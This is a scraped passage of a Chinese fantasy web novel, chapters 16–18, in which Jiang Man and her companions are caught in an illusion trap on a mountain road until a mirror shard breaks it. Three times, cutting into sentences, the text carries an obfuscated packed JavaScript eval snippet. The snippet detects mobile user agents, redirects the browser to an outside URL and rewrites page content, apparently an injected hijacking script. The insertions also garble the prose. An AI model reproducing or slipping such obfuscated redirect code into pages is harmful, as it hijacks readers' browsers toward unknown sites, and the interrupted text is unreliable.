拦路的是一男一女,身上各种防晒装备,两个人都包裹得很严实,脸上也是,帽子脸罩,只露出眼睛,其中那个挡住道的男人见姜满二人过来,迎了上去。 “你们好,能帮帮我们吗?我们的孩子病了,就在那边的车里,当时天黑,我们太着急,车出了点小事故,现在开不了了,所以我们想找人帮忙,但一直找到这儿才好不容易遇到你们,老天保佑,帮帮我们吧!” 男人拉下脸罩,语气很着急,手指着远处看不见的地方,示意他口中那辆车停在那儿。 张云汉想说话,但还是忍住了,看向姜满。 姜满的脸藏在墨镜与口罩里,看不出神情,她在观察这两个人,同时开口道:“可是,我们没有人会治病,这要怎么帮你们啊?” 她的声音清脆,语气像极了涉世未深的小姑娘,天真又单纯。 张云汉抿抿嘴,口罩同样挡住了他的表情,但眼镜下的双眼,还是闪过了一丝惊讶。 他都快忘了,这位大长老变脸跟变戏法一样。 那个男人的妻子适时上前,拉住姜满,也拉下了脸罩,满脸恳求,“小姑娘,这山里手机没信号,能不能请你们行行好,开车找个有信号的地方,帮我们报警?我们也是没办法了,只靠走路的话,就怕孩子等不了……” 张云汉低头看了看手机,朝姜满点头,“是没信号。” 姜满无奈地摇摇头,“不行的,我们急着赶路,帮不了,你们再等等别人吧。” 说着,她扯住张云汉,转过身朝自己的车走过去。 “大长老,我觉得……” 姜满看向他,“你觉得。你觉得做好事没有代价吗?你确定,这个代价你给的起?张云汉,我怎么觉得你今天格外的蠢呢?” 张云汉想到了李妆娇,不由缩了缩脖子,但还想争辩什么,“可是,时间完全来得及啊……” “那你倒是给我分析分析,这两人把生病的孩子放在车里,大老远跑过来,合理吗?还有,你知道,这条路通往哪里,要是耽误我的事,你负责的了吗?” 张云汉不知道该说什么,嘴里嘟囔着,“人家做父母的肯定着急,人着急起来,总会考虑不周……” 说到这儿,他像是想到了什么,迟疑着问道:“不过,大长老,我一直想问,但是又觉得没有合适的机会,掌门三个多月前下山是为了您的身世,您就真的一点也不好奇吗?找到掌门说不定就能知道关于您的父母……” 姜满看看他,“所以你觉得,现在是问这个问题的合适机会?” “合适……的吧,现在也没什么事,车就停在那儿,那两个人也没跟过来,这边现在一个人都没有,没人听到我们说话……” 姜满忽然顿住了脚。 “你说什么?再说一遍。” 她摘下墨镜,环顾四周。 张云汉眨眨眼,听她语气认真,以为自己说了重要的话,只是他不知道哪一句重要,于是答道:“我说‘现在没什么事’?” “不是这句。” “那是……‘车就停在那儿’?”张云汉不解地看向姜满。 姜满眼神透出一丝寒意,回过头用目光指向那对拦路夫妻的方向,然后盯着什么都没察觉的张云汉,“蠢货,你没脑子,也没眼睛吗?” 张云汉终于感觉到了不对劲,四下看了看,原本站在车旁的薄临不见了,两个女孩也完全看不到踪影,不仅如此,身后那两个人也像没出现过一样,整条路上,只剩下他和大长老,以及,那辆空无一人的车。 为了看得更清楚,张云汉往前走了几步,然后确定了这里没有一个人,不由咽了咽口水,“他们……人呢?” 说完,他看向身后的姜满,那一瞬间,他却感觉自己全身的血都凉了,“你、你是什、什什什么东西……” 16. 第一座山(16) 姜满看到张云汉回过头来一副见鬼的模样,正要开口骂人,却听到身后有人叫她。 她转过身的一刹,周遭空气如同凝固住了,风不动,鸟滞空,一切都似被定格,接着,眨眼的功夫,铺天盖地的水吞没了她! 这一切快得就好像梦中人猛然惊醒,却发现自己身处水中。 呛水的真实感让姜满紧锁眉头,她以最快的速度冷静下来,划动四肢,试图浮出水面,但她很快便发现,看不到,根本看不到水面有多远。 这意味着,极有可能不存在水面。 她尽力保持自己不再下沉,瞪大双眼,好像很想在这水里看到什么,找到什么,但通过无数划动出来的气泡,她隐约看见混浊的水中,在她的四周出现了门。 这些门以她为中心,围成了一个圈。 内心巨大的振动一时间让她几乎乱了分寸,她用力闭了闭眼,强迫自己冷静下来。 一种不祥的预感浮现在她的心头,同时,她又觉得,这或许是个机会。 显然,山路上不可能凭空出现这样的地方,那条路上也没有这么深的江河,所以,这是幻境,且不属于什么邪祟妖灵,是人为的。 那一男一女提前在此布下陷阱,只等他们这一车人踩进来。 可是,他们想干什么呢? 姜满知道,玄人布下的幻境与怨灵的幻境不同。 怨灵幻境多为死亡回放,或是某种臆想,目的是为了加深执念,当然,这已经无关于什么主观意识了,怨灵不是人,没有自主意愿,只有执念,这个执念就是目标,是本能。 为了这种本能,怨灵会利用怨气,放大人心的恐惧,怨气愈深力量越大,但怨气达到某种阈值时,怨灵逐渐实化,它们就有了意识,不再需要怨气这种能量场,它们可以像玄人一样布幻。 玄人幻境可以针对怨灵,也可以针对人。 对付怨灵用的幻境是为了使其混乱、绝望,乃至溃散;对付人,多是为了扰乱心智,套出某些秘密,或者,使其心境崩溃,永堕疯癫。 毋庸置疑,幻境是一种十分厉害的术法,如今世间的玄人,分支庞杂,但万法同宗,施展多么厉害的术法,就要付出相应的代价。 那条视频果然起作用了,这些玄人想用幻境套出她的长生之秘。 可姜满对这些,并不感兴趣,她只想知道,他们这一车人是不是都在幻境里了,那么,只要找到李妆娇,看见关于姚雪菲的记忆,或许就能找到与姚雪菲沟通的契机。 灵与灵可以交流,通常,人如果彻底进入灵的幻境中,也可以和灵交流。 姚雪菲是一只特殊的怨灵,它的话音很清晰,通常像她这样没有实化的怨灵,是说不出清晰完整的话的,但它没有幻境,却似乎有意识。 也许是它有过什么奇遇,就像阿福,只要能弄清楚姚雪菲的奇遇,一切,可能都会像阿福那次一样简单。 所以,现在这个水中幻境里,姜满需要先找到李妆娇。 姜满看着眼前这一扇扇门,不知是巧合还是正如她所料,一模一样的门共有五扇,门体光滑漆黑,四角有凸起的条纹装饰,门把手是圆的,算是常见的门。 如果猜的没错,这五扇门里,就是包括她在内的他们五个人的内心。 她一手划水,一手摸出自己脖子上挂着的项链,犹豫片刻,却还是塞了回去。 这天一道的东西,能不用还是不用。 姜满在几扇门前停留,肺部剧烈的灼烧撕裂感让她意识到,自己耽误的时间有些久,必须尽快决定了。 窒息感早就让她有些晃神,她需要极力压制才能让自己不昏过去,虽然她不死,但该疼照疼,该晕也得晕,所以,没时间让她慢慢思考了,必须先打开一扇门,才能离开这个全是水的幻境,但是开得如果是自己那扇,应该就会是空的。 是谁的都好,别是自己的就行。 毫无疑问,她的内心,就是水,深到游不出水面的水。 她记得,三十二年前的张信德还是个四十岁左右的男人,那时的他一点也没有老成的气场,谈到姜满的名字时,还故作高深的说什么:“满,盈溢也,字属水,天一生水,天一道利你,名字也利你。”可惜张信德并不知道,这个名字,是取自她的家人,他们姓满。 她的脑海里,是满家七口人与她一起被投入阿克里木湖,一直下沉,一直下沉…… 姜满的肺里似乎灌满了水,像是已经撑断了肋骨,剧烈的疼痛挟持着心跳撞击耳膜,这鼓槌般的重击声已经开始变得模糊,她的意识也开始模糊。 她奋力握住了一扇门的把手,正要拧开,忽然,身后一只有力的手拉住了她,把她拽进了不知哪一扇门里,脑部因缺氧而薄弱的意识像是终于得到了一线光明,但这感觉却让她昏昏欲睡。 她躺在草地上,有人在按压她的胸口,不一会儿,她开始止不住咳嗽干呕。 这感觉很不好受,肺火辣辣的疼,鼻腔喉咙刺痛发酸,但总算,能呼吸了。 “还好有用,我以为,你会死在这儿。” 这个声音很好听,像在冰川溶洞里,无数冰柱冰凌,还有冰面冰墙,都是声音的传播介质,它们共同震颤,十分微小的震颤,是只有常年住在里面的人才能察觉到的振动,谱出一曲静谧世界里温润又轻缓的音乐。 是薄临,姜满近五十年的记忆里,只有他的声音让她这样有好感。 “这扇门里面还真是怪,明明有水,却又像假的。” 姜满定了定神,看向薄临。 “你怎么……”她的嗓子还不太舒服,说出来的声音也怪怪的。 薄临的声音不急不缓,语气依旧柔和,“当时,我站在车那边,你忽然过来拉着我跑,然后我一眨眼,就一个人在这个地方了,我不知道发生了什么,就等在原地没动,接着,看见了门,然后我打开一扇,见到你在水里挣扎,这种感觉很像……在海底世界,但我可以进去,于是我就进去把你拉了过来,不过,这水……好像并不是水,是吗?” 姜满没回答,她环顾四周,发现这里风景辽阔,像是一大片平原,草地肥沃,天高云淡,阳光明媚。 与她的水中幻境一样,这里也有五扇门。 事实上,现实中的水杀不死她,幻境中的水更是,就像她刚才咳了半天,也没有咳出一点水,甚至,她的衣服上都没有半点水渍,就好像刚刚发生的一切都只是她的幻觉。 这就是幻境,也许有一天科学也可以做到让寻常人也能布下幻境,比如她在书上看见过的四维全景三维虚拟。 眼前的一切, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711236|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正如她的猜测,五扇门,是五个人的内心。 如此看来,薄临的内心,还真是无懈可击呢…… 根据薄临的描述和姜满自己的经历,这幻境的出现像是从她拒绝了那对夫妻的要求开始的,每个人都会遇到些不寻常的事,她是听到有人叫她,张云汉大概是看见她变成了什么恐怖的模样,薄临则是遇到她拉着他跑。 进入内心的幻境应该是有某个契机,眨眼间改换场景。 这五扇门的内心幻境要同时针对五个人,每一个都要让身处其中的人完全的身临其境,实力实在不容小觑。 姜满很清楚,这是一种十分复杂的布幻之术,对应天干地支、五行八卦、星宿方位,这样看,他们的人数倒是正合对方心意,只是这术主若是没有通天的本事,那便是有法宝为介了,所以,莫非那夫妻两人是器玄? 既然如此,这个法宝,她要定了。 薄临见她不说话,开口问道:“想到怎么出去了吗?” 姜满看看他,“你身体不好,胆子倒是挺大,遇见这种事,也不见你有一点慌乱。” 薄临笑了笑,“可能是习惯了,我很少慌乱,过去接受的教育与经历告诉我,慌乱不能解决任何问题,眼前这种奇闻异事,显然也不是我能解决得了的,既然如此,我更加无需慌乱,只要安静的等有能力的人解决就好。” “嗯,不仅聪明,还有见识,你很好。”姜满看向五扇门,“别的门打开过吗?” 薄临摇了摇头,“你想找哪扇?或许我能帮忙。” 姜满看向他,心里却在思考这五扇门有可能存在的规律。 她刚才的地方是水,薄临这里……是土,难道刚好这么巧,他们五个人的内心,对应了五行?那么,还剩下金木火,李妆娇会是什么呢? 所谓内心,并不一定是内心的恐惧,也有可能是内心的喜怒哀乐,以及其他任何足以叫人沉沦的场景。 当人完全沉沦其中之时,便是术主随心所欲之时。 “你觉得,金、木、火,这三个字,哪一个像是李妆娇的内心?”她并不急着出去,因为离开幻境对她来说非常简单。 薄临有些诧异,“李妆娇?你是说,我们五个都在幻境里?” 一直以来,他都表现的十分合理,与他想让她相信的他,身份足够匹配,一位很有钱、不算蠢的寻常人。他当然知道,她讨厌蠢人。 他想了想,“我知道她的生辰八字,有用吗?” 姜满摇摇头,“我不会算命,告诉我这个没用,而且她的命格,没什么好看的,想必杀、枭、伤、劫,四凶神一个不差。” 姜满所说的,是七杀、枭神、伤官、劫财,乃八字命格十神之四大凶神,齐聚者心性多凶狠自私、不仁不义。 薄临微微一怔,然后低头笑了,“你能说出这些,还称不懂?” 姜满已经完全恢复了,她站了起来,“猜不到就开门吧,选得不对就再来,你在这儿等——” 门开了,不是姜满打开的。 走出来的人让姜满的大脑在那一瞬间,似乎停止了思考。 薄临看见来人是个陌生人,微微皱眉,又看向姜满,见她好像认识,开口问道:“他是……” 姜满回过神来,“张信德,天一道掌门。” 17. 第一座山(17) 程书韫双手抱臂靠在树上,看着三步之外的草堆里鬼鬼祟祟的李妆娇,心里觉得有些好笑。 “妹妹,你好了吗?别磨蹭了,这地方没信号。” 正蹲在草里偷摸摆弄手机的李妆娇闻言,顿住了手上的动作,她已经重试过很多遍了,手机的确没信号,她知道,程书韫没骗她,但是……程书韫可不是姜满那个疯子。 李妆娇收起手机,然后从随身小包里翻出了她的化妆品,熟练的拆卸下一面小镜子,在地上掰碎了,然后拿起一块弧形的碎片,确保自己的手不会被割伤后,紧握在手里。 “好了好了!”李妆娇有些紧张,她觉得手心潮湿,或许碎片会脱手,所以她握得更紧了,导致圆弧的边缘深深印在手掌上,轻微的压痛感让她对程书韫更加厌恶。 她紧张,是因为她怕弄不死程书韫,但是弄不死也不要紧,只要能摆脱这个女的,她就能找机会,一个个除掉这些人,然后开车逃走。 在李妆娇眼里,程书韫话不多,看起来温温柔柔的,是个软性子,要是没有姜满在,她或许能让程书韫成为她的棋子,但姜满这个疯子实在太恶毒了,不仅天天盯着她,还让这些人都别和她说话,偏偏这些人一个个像被洗脑一样,都听话的不得了,就连阿临也是。 她想,像姜满这样的邪门歪道,她总要找机会除掉,这种地方就是最好的机会。 李妆娇站了起来,手藏在背后,朝程书韫走去。 程书韫垂下眉眼,转过身看向了停车的地方,准备带李妆娇回去,但她却皱起了眉头。 怎么一个人都没有?都上车了? 她和李妆娇不过是在旁边的山坡上找了个地方,并没有走得太远,树多草多,蚊蚁毒虫什么的就多,所以也没往太深处去,只要有遮挡物就行。 程书韫往坡下走了几步,仔细看着车里,眉头越皱越深,她确信,车里也没人。 身后传来踩草的脚步声,窸窣凌乱,脚步很急。 程书韫头都没回,伸手格挡住袭向她左边脖子的利器,反身的动作与右手齐行,一把抓住李妆娇的手,接着一个旋转,猛地撞击李妆娇腿膝盖后侧的膝腘处,李妆娇腿一软跪倒在地,反手被她擒拿,动弹不得。 “哎呦!”李妆娇吃痛惊呼,“你干什么?放开我!你要杀人吗?” 程书韫温柔地笑了笑,手上的力气却分毫不减,“别怕,我从没杀过人,以后应该也不会,但我正当防卫,失手把你弄残,应属于常理之中。” “你这个贱人!”李妆娇怒骂起来,“你装得倒是挺久啊!你这么狠毒他们知道吗?我会曝光你的真面目!你这个贱人!婊子!破烂货——啊!” 程书韫眉头微蹙,手上加大了力度,叫李妆娇疼得骂不下去。 “你骂人怎么总是这么几句?妹妹,你也是女孩,这样侮辱女性,对你有什么好处吗?” 说完,程书韫嫌恶地瞥了李妆娇一眼,松开手,重重一脚踹在她后背,叫她摔了个狗吃屎,然后兀自往山坡下走去。 忽然,身后传来一股巨大的推力,程书韫猝不及防,脚下一滑,摔了下去。 可这样小的山坡,就算摔下去,最多也就是破点皮,但她却发现,眼前场景变了,像坠入了断崖、不,应该是高楼,她好像是从高楼的顶层追下,周围……全是灰,一团一团的,像棉絮,漫天飞灰! 怎么会?是谁推了她?李妆娇分明倒在地上,那么短的时间,她不可能爬起来,还用这么大的力气推她的…… 这边的李妆娇愤怒地爬起来,正要破口大骂,抬头就看到程书韫脚下一滑,栽倒下去。 她正幸灾乐祸,站起来却发现,程书韫不见了! 不见了正好!死了才好! 李妆娇拍了拍身上的土,捡起镜子的碎片,然后对着镜子轻轻擦着脸上的土,但这连夜未曾补妆的脸,浮粉什么的加上油光,导致越擦越脏。 她生气地把那片镜子碎片扔了,然后朝路上走去。 狭窄到勉强可以容纳两辆车的山道上,停着张云汉驾驶的那辆车,但那几个人都不知道去哪儿了,离车不远的地方,有两个人,是拦他们车的那对夫妻。 李妆娇再次确认了那几个人的踪迹,尤其是她最讨厌的姜满,好在千真万确,这些人都不知道去哪儿了,但是,这儿有两个人,可真是天也在帮她! 得赶在姜满那个疯子回来之前谈好一切。 她赶紧朝那两个人走去,女人站着一动不动,侧身对着她,看不清表情,男人见到她过来,脸上闪过一丝震惊,随即露出笑脸,迎了上去,开口问道:“你,是来帮我们的吗?” “帮你们?”李妆娇心念一转,脸上堆满笑容,“是啊!那几个人是不是都不愿意帮你们?我告诉你们,他们都是坏人,尤其是那个贱、那个年轻点的女生,又坏又狠,你们一定要离她远点!” 男人像是为了刻意挡住他的妻子,挪了挪身体,继续笑道:“原来如此,刚刚就是她拒绝了我们,那么,你愿意带我们去找手机信号吗?我们想报警,但是这里没有信号。” “当然!我也想报警!那个女的用迷药把我和我未婚夫骗来这个鬼地方!我开车,我们走!” 那男人像是没料到她答应的这么爽快,连忙拉住她,“先、先等一下,未婚夫?你的未婚夫是谁啊?你,不管他了?” “对,还有我的未婚夫。”李妆娇咂咂嘴,表情像是被问到了心趴上,但还是不忘打掉男人碰到她的手,接着不自觉扬了扬下巴,“我未婚夫可是……你知道归山集团吧!我就是归山集团未过门的小薄总夫人,我的未婚夫就是归山集团老总唯一的儿子!小薄总!” 男人眨眨眼,仔细看了看她,又问道:“那你……是做什么工作的?” “工作?你觉得我身为未来的薄夫人,还需要工作?实话告诉你吧!我从小就被薄家选中了,是他们精心栽培出来的准儿媳,他们出钱出力,还带我上各种活动,对我提出的要求无有不应的!” 说着,她眼珠一转,得意地看向他,“所以,你要是能帮我和我未婚夫摆脱那几个人,好处少不了你的!” 那男人有些愣神,想了想,试探性地问道:“那你……认识哪位厉害的玄人吗?” “玄人?”李妆娇嫌弃地看了他一眼,“我们家的背景,想结交什么人还怕交不上吗?行了,知道你们这种底层人从没接触过我们这种上等人,不过,你们夫妻俩资质是差了点,但有总比没有好,等我未婚夫回来了,你们两个负责保护我们,然后把那另外的一男两女赶走,听清楚了吗?” 男人愣住了,回过神来赶紧捂住了嘴,接着,像是再也憋不住似的大笑不止。 “别吵了!”李妆娇叫了起来,“有什么好笑的?你疯了吗?” 那男人止住了笑,脸上的表情也变得阴狠起来,他拿出一个手掌大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717893|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小的铜铃,看着李妆娇,讥讽道:“想不到天一道的人竟然会带着你这么个东西来九黎寨,我还以为五门缺一是缺了什么大人物,哈哈哈……也不知道你是走了什么狗屎运,竟然没入幻境,不过,你就准备——” 他的话音戛然而止,脸侧向一边,表情也僵住了。 啪—— 李妆娇一巴掌打在了他的脸上,怒骂道:“你是什么狗东西?敢骂我?给你脸了!”她伸手一把夺过男人手里的铜铃,“这又是什么鬼东西?很值钱吗?你以为我买不起?狗眼看人低的杂种!” 这男人经历了一巴掌,再加上法器就这么被夺走,人还没反应过来,李妆娇已然转移目标,怒气冲冲指着他身后的女人,“你又是什么贱货?是在无视我吗?” 她等不到那女人的回答,不由气急败坏,顺手就把手中铜铃扬起,用力掷出,砸向那个女人…… - 张云汉眼看着姜满变成了青面獠牙的怪物,那一瞬间的视觉冲击力实在太大了,大到让他忘记了自己要干什么。 他感觉自己全身的血都凉了,“你、你是什、什什什么东西……” 然后,他忽然想起了什么,于是立刻紧闭双眼。 再睁眼时,他坐在了太陀山普渡寺的巨钟上。 这是只有普渡寺才有的巨钟,像一座佛殿一样大,悬于寺院的后山崖边,通体漆黑,上端是龙头钓手,下端是八叶莲形撞座,撞座下有草间、驹爪,撞座上是池间与乳间,有六道袈裟纹。 据说,此巨钟已数百年无人撞响。 巨钟内壁雕刻着各种僧玄经文,每一种都是由那时寺中的阿阇梨亲自挑选的首座僧玄,只一根竹竿为座,悬空于钟下,以大慈悲心加持过的。 过去,张云汉还在寺庙为外门弟子修行时,几乎日日在这悬崖边,对着这鼎如同神迹的巨钟静心、打坐、背诵经文。 像现在这样坐在钟顶上,从未有过,也不敢想象。 “本初。” 一个女人的声音从身后响起,叫的是张云汉的法名。 张云汉回过头,看到了那对拦路夫妻的妻子。 “你就是掌门安排的那位器玄前辈?” 女人笑了,“你不是知道吗?所以,才会帮我。” “是,掌门交代过,以镜子的反射光为信号……我开始还不太敢确定,现在算是确定了。” 他曾经怀疑过,这样确定别人身份的信号未免太过草率,但他也明白了,最容易的在玄人界,也是最安全的。 “嗯,我已不负天一道掌门所托,但我们会在幻境消失前离开,那样东西,我会放在你们车上。” 张云汉皱眉想了想,“恐怕不行,我们之间有个人不可信,能否等我们见面,这样,大长老那边我也……好交代些。” “那是你的事,我只与天一道掌门有约定,与你没有。”女人回绝得很无情。 张云汉有些苦恼,却也知道前辈有足够的理由拒绝,他并没有什么情面可以在她面前卖弄,他想了想,问道:“那我们什么时候能离开幻境?” “待到你们大长老——” 女人正说着,忽然脸色大变,下一瞬,她的身形扭曲,消失在张云汉眼前。 张云汉还没反应过来是怎么回事,座下巨钟几乎顷刻间支离破碎,整个空间都在不受控制的扭曲,眼前的一切,蓝天、白云、太陀山、普渡寺……分崩离析。 18. 第一座山(18) 张云汉回过神来,发现自己还在山路上,刚刚的一切好像只是他不小心恍了个神,此刻自己的身体在往车子的方向去,正是先前发觉人不见了回头看向姜满的时候。 他回到了进入幻境以前的那一刻,这时大长老还是青春靓丽的小祖宗,不是那个引人入幻的怪物。 “张云汉,你的胆子,真是不小啊。” 姜满虚眯起双眼看着他,嘴角虽然带着笑,但却让人后背发寒。 张云汉两腿一软,差点跪下。 “大大、大长老!您听我解释……” 姜满的视线移到张云汉身后,朝什么人扬了扬下巴,然后,张云汉听到身后传来了开车门的声音,他回过头,看见薄临坐上了副驾。 程书韫也从旁边的坡子上走下来了,她显得有些困惑,一恍神的功夫,她像是做了场噩梦,并没有什么人推她,也没有无休止的下坠,好像一切都是幻觉。 她走到路上,也平复了心情,看向姜满,“你们……” 姜满朝她笑了笑,“接下来辛苦姐姐开车了,先等我们一会儿。”说完,她收起笑脸看向张云汉,“上车等着。” 安排好这三人,姜满这才转身看向了拦路夫妻和李妆娇。 此刻,那个男人掐住了李妆娇的脖子,力气之大已让李妆娇双脚离地。李妆娇发不出声音,双手试图掰开掐住脖子的手,两腿乱蹬,但即便有求生本能的力量,她也没办法挣脱半分。 姜满朝旁边那个女人走去,女人捂着嘴,身体微俯,像在咳嗽,血迹从指缝中溢了出来,伤得不轻。 “东西在哪儿?”姜满从包里拿出一块手帕,递给女人,口中问道。 女人接过手帕,换手帕捂住了嘴,一边止不住的咳,一边说道:“这年头、咳……用手帕的……咳咳、还真是、不多见……咳咳……” 李妆娇在旁边“呃呃”个不停,腾出一只手想要扒拉姜满,在她眼里,姜满虽然也不是什么好人,但显然没有眼前这个男人可怕,此刻的姜满就是她的救命稻草。 姜满却目不斜视,完全不打算管李妆娇的死活,随口答道:“别人给我的。别说废话,东西在哪儿?” 这手帕是薄临的。 那女人的咳嗽缓解了一些,仍捂着嘴,伸手拍了拍旁边的男人。 男人愤恨地瞪了李妆娇一眼,把她甩在地上,然后泄愤一般,踹了她两脚,啐了口唾沫,恶狠狠骂道:“臭婊子,这事儿没完!我迟早弄死你!” 李妆娇一个劲地咳嗽,捂着脖子喘气,完全顾不得摔倒以及被踹的疼痛。 姜满略带惋惜地撇撇嘴,然后拎起还没缓过劲来的李妆娇的后脖领,把她往车子那儿拖去,头也不回地对那男人说道:“刚刚没弄死她,以后你恐怕找不到什么机会了。” 被拖着走的李妆娇毫无反抗之力,被姜满连拽带推的丢进车里,后座的张云汉瑟瑟发抖,往边上挪了挪,给狼狈的李妆娇让座。 关上车门,姜满拍了拍手上不存在的脏灰,看向那个男人,喊道:“东西在哪儿?拿给我。” 那男人看看身旁的女人,然后视线落在了旁边的土坡子上。 他扶着女人,朝他看去的地方走去,姜满也跟了上去。 土坡子植被葱郁,正是刚刚程书韫和李妆娇方便的地方。 姜满和女人一左一右站在下面,男人爬了上去,来到一棵小树下,这地方很特别,有一瓶矿泉水挂在小树上,瓶盖似乎被钻了孔,有水往下滴落,男人朝滴落水的地方看了过去,眼神露出些许惊讶,又有些恍然。 他一脚踢开了一块破碎的镜子,然后刨开泥土,从土里翻出一面巴掌大小的铜镜,铜镜立在土里,可以看出,虽然之前这面铜镜埋在土里,但镜子那面,正对着几人的车。 这块破碎的镜子正是李妆娇随手丢弃的“凶器”,她原打算用这碎片除掉程书韫的。 姜满在下面接过男人递过来的这面铜镜,“张信德让你们给我的,就是它?” 女人此时已经不咳血了,她脸色有些苍白,听到姜满的问话点了点头,“是的,这是他的东西。”说着,她自嘲地笑了笑,“如果是张掌门施术,定不会像我这样被反噬得如此狼狈。” 姜满再次看向埋镜子的地方。 这处位置选得很巧妙,是正好被阳光照到的一小块地方,铜镜本身、小树、滴落的矿泉水、阳光、泥土,汇集五行,却被一小块镜子的碎片破坏了。 难怪幻境被强行打断,也难怪这男人想杀了李妆娇。 她不由地勾起嘴角,这个李妆娇……有点意思。 “东西我收到了,但我不喜欢你们这种送交东西的方式,而且,你们事儿也没办好不是吗?我就不跟你们客气了,看你们对长生也没什么兴趣,那我走了。” 说罢,姜满收起铜镜,转身准备朝车子走去。 “你这丫头子,要不是你们那个姓张的保住我娃儿的命,谁要做这种人情债!你的人害得我阿姐受伤!这笔债又怎么算?”那男人显然很生气,话里夹着方言,朝姜满喊着。 姜满停住脚步,回头看向他二人,“阿姐……你们不是夫妻?那,孩子也是骗人的咯?” 她不太喜欢欠债,而且,她对他不太标准的普通话有一种莫名好感,于是她打算给他一点时间。 “阿姐怎么就不能做婆姨?我们没骗人,娃儿的确病了!你莫打岔!阿姐被你们害成这样子,你不能就这么走了!” “嗯……的确是我带来的人搞砸了这件事,那我收回刚刚的话,这事儿算你们办好了,顺便祝你阿姐、祝你老婆孩子,早日康复。” 这句是真心的。 女人拦住了还想说话的男人,看向姜满,“你看起来对‘长生’这件事会带来多大的麻烦,毫不知情,我劝你尽快把网上的视频删了。” 姜满饶有兴致地看向女人,“为什么?我不发视频,也并不影响他们知道。”她目光指向远处要去的方向,那是她的目的地,九黎寨,“何况,能惹出什么麻烦?” “那你有没有想过,在你发视频之前,他们是怎么知道的?” 女人上前两步,轻声说道:“他们知道了,更多的人知道了,然后他们会先验证你是否不死,也许你可以对付一个两个,但你不知道长生对一心修仙的玄人诱惑有多大,而且,你有软肋。” 她看向那一车人,又注意到姜满无所谓的神情,接着说道: “即便你不会受人胁迫,那么,你对玄人的了解又有多少?如果他们发现,你这具身体的价值……你听说过,夺舍吗?” 姜满看看她,晃了晃铜镜,“多谢告知,不过我得走了,张信德的话还没说完,我还得自己进去,听完那老东西说什么。” 女人垂下眼,“就当是为我儿积德了。”她呢喃着,随即像是下定了某种决心,手搭在了姜满的肩膀上,附耳上前,“姑娘,别相信任何人,包括……张信德。” 姜满盯着她,片刻后笑了起来,“别相信任何人,所以,我也不能相信你,对吧?再见了二位!” 她背过身朝二人挥挥手,然后上了车。 这个女人当然不值得相信,但那段关于玄人为求长生而会对付自己的手段,却像是那么回事。 姜满的确有软肋,就在九黎寨巫玄的手上。 至于夺舍……姜满自己都不知道她的长生是否因为这具身体,或者说,她对自己不老不死的原因一无所知,更别提什么长生之法的秘密了。 车上没人说话,李妆娇像是被打晕了,头仰着,不省人事,程书韫握着方向盘,车子继续往前行进,薄临身体不好,坐在副驾宽敞些,总算能好好休息了。 “大长老……” 张云汉并不喜欢这种感觉,他觉得必须要解开误会,他甚至都不清楚姜满是否真的知道来龙去脉,他更不清楚掌门跟她说了什么,但他张开嘴,又不敢提到这个话题了,于是问道: “刚刚那两个人,和你说了什么?” 姜满瞥了他一眼,“他们告诉我,别相信你。” “啊?”张云汉一愣,“不可能吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752163|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !大长老,您听我解释,这都是掌门安排的,我不能忤逆掌门啊!而且,我都不知道到底是什么事,只晓得收到信号,全力配合,我都不知道怎么配合!就这么稀里糊涂的……我实在冤枉啊……” “张云汉。” 姜满打开车窗,手肘搁在窗边,支着脑袋看向张云汉,“以后,你要是再敢有事瞒着我……” 说着,她转过头看向车窗外,闭上眼,嘴角扬起惬意的笑,“我就把你的头发一根根拔了,让你做个正经的内门僧玄。” “啊?”张云汉再度愕然,他显然是觉得这个惩罚有点轻,但细想想又有哪儿不太对劲。 姜满打开的车窗让车内有了风,许是觉得闷,程书韫也将自己左侧的车窗开了一半,对流的风将她的头发吹到了座椅后,轻轻的扫着椅背,也扫进了张云汉的眼里。 是啊!他不能做内门僧玄!他要结婚生子的!他要娶…… “我张云汉发誓!不敢再对大长老不说、有所隐瞒!” 他说这话时没看姜满,低垂着眼帘,不知是害怕还是什么别的原因。 姜满撇撇嘴,罔若未闻,微笑着对程书韫说道:“姐姐,开慢些,附近看看能不能找到住的地方,我们歇两天再去九黎寨。” “歇两天?可是,眼看就到第三天了啊!”程书韫不解。 “虾兵蟹将都放出去了,多给些时间,才能让他们把水搅得更浑,否则,我这只大鱼一出现,不就被抓走了?还怎么神不知鬼不觉地救走饵上的蚯蚓?” 车上醒着的都是明白人,听到姜满的话,自然明白是什么意思,也就不必再多问什么了。 薄临替程书韫打开导航,地图上看,附近有几个村子,其中两个距离他们现在的位置最近,但都差不多半个小时的车程,最终,几人商讨之后,由姜满决定,选择了那个更偏僻些的山村。 这个山村位置高,对姜满来说,可以观察到九黎寨灵能波动的情况。 